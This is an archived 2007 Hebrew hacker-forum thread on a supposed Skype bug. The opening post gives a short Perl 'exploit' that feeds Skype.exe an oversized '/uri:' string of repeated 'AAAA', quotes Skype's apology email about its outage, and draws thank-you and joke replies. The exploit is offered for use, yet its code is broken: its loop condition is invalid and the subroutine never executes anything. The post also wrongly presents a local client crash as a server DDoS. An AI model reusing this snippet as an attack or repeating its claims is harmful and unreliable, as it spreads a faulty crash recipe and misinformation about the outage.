Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > skype hacking

26/08/2007 05:29:33 devil kide
באג "התגלה" בתוכנת הskype הפופולארית, הבאג מבצע DDoS למערכת, בכך שהוא יותר עשרות שיחות קול בו זמנית וגורם לקריסה של השרת שאתם נמצאים עליו.
אקספלויט שמבצע את העיניין:
קוד:#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256){
$eot=’AAAA’ x $i;
call_sp();
}
exit;
sub call_sp(){
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
}
את ההמשך תוכלו למצוא ב-Bugtraq (אם אני לא טועה, גם ZULL כתב על הבאג עצמו-והוא גם הפנה לכתבה בBugtraq).

בתגובה, חברת Skype החליטה לפצות את המשתמשים בעוד שבוע של שיחות על חשבון החברה.
החברה הודיעה ואמרה שהבעיה נוצרה עכב עדכון שמיקרוסופט הוציאה, ובגללו מאות מחשבים התחברו מחדש לשרתי החברה וגרמו לקריסתם.
ההודעה שפרסמה החברה:
קוד:Hello UserName

You may or may not know but last week Skype wasn’t available for a
couple of days. There were a number of reasons for this and I am
delighted to say that the problem is now well and truly sorted and
everything is back to normal. For those of you who tried to use Skype
during that time but couldn’t, we’re very sorry. For those of you who
didn’t try to use Skype - well thankfully you were not affected but we
want to reassure everyone that Skype is now working happily and the
problem is fixed.

We know we have many faithful users out there who give us feedback
(good and bad) on what we’re doing as a company. The Skype community
makes us what we are. Without you, our users, we simply wouldn’t
exist. We’ve helped people stay in touch with their friends and
family over the past four years without any massive hitch and we want
it to stay that way.

When the unexpected happens, it’s important to remember the people who
stuck behind us and whose loyalty humbled us. I want to thank
everyone for their support, patience and being part of the Skype
community. And for those of you who missed out on using Skype last
week - I want to especially thank you as well.

As a goodwill gesture to all you faithful Skype Pro, Skype Unlimited,
SkypeIn or Skype Voicemail customers, we’re adding an additional seven
days to your current subscription, free of charge. And even if you
didn’t miss out on using Skype last week - you can still have a week
free on Skype, on the house!

So please enjoy it, call your loved ones, friends, family and
colleagues and thanks again.


Talk soon,
The people at Skype

----------------------------------------------------------------------
Visit the link below to update your preferences to ensure you receive
all the latest news and offers from Skype:
https://secure.skype.com/store/settings/emailprefs.html


(C) 2003-2007 Skype Limited.
Skype Communications S.a.r.l., 15 rue Notre Dame, L-2240 Luxembourg

Skype, SkypeIn, SkypeOut, Skypecasts, Skype Certified, SkypeMe!, Skype
Pro, SkypeFind, Skype Prime, Skype To Go, associated logos and the
’S’-symbol are trademarks of Skype

את ההודעה הוצאתי מאחת התגובות באתר Ynet
[ההודעה נערכה על-ידי devil kide ב-26/08/2007 05:44:42]
27/08/2007 12:39:34 T--As
וואללה תודה על העידכון נשמה

ומיקרוסופט דפקו אותם חחחח מנאקים
27/08/2007 13:15:48 ShaDoW MaN
חחחחחחחחחחחחחחחחחחח
תודה אחי
תמשיך להביא עדכונים
31/08/2007 02:55:44 HLL
כפרה על סקייפ
אי אפשר לא לנשק אותם בלחי ולצרף לזה צביטת דודה ענקית :)
31/08/2007 03:02:47 koler
ראיתי משהו כבר בבלוג של גיא מזרחי...
עמודים: 1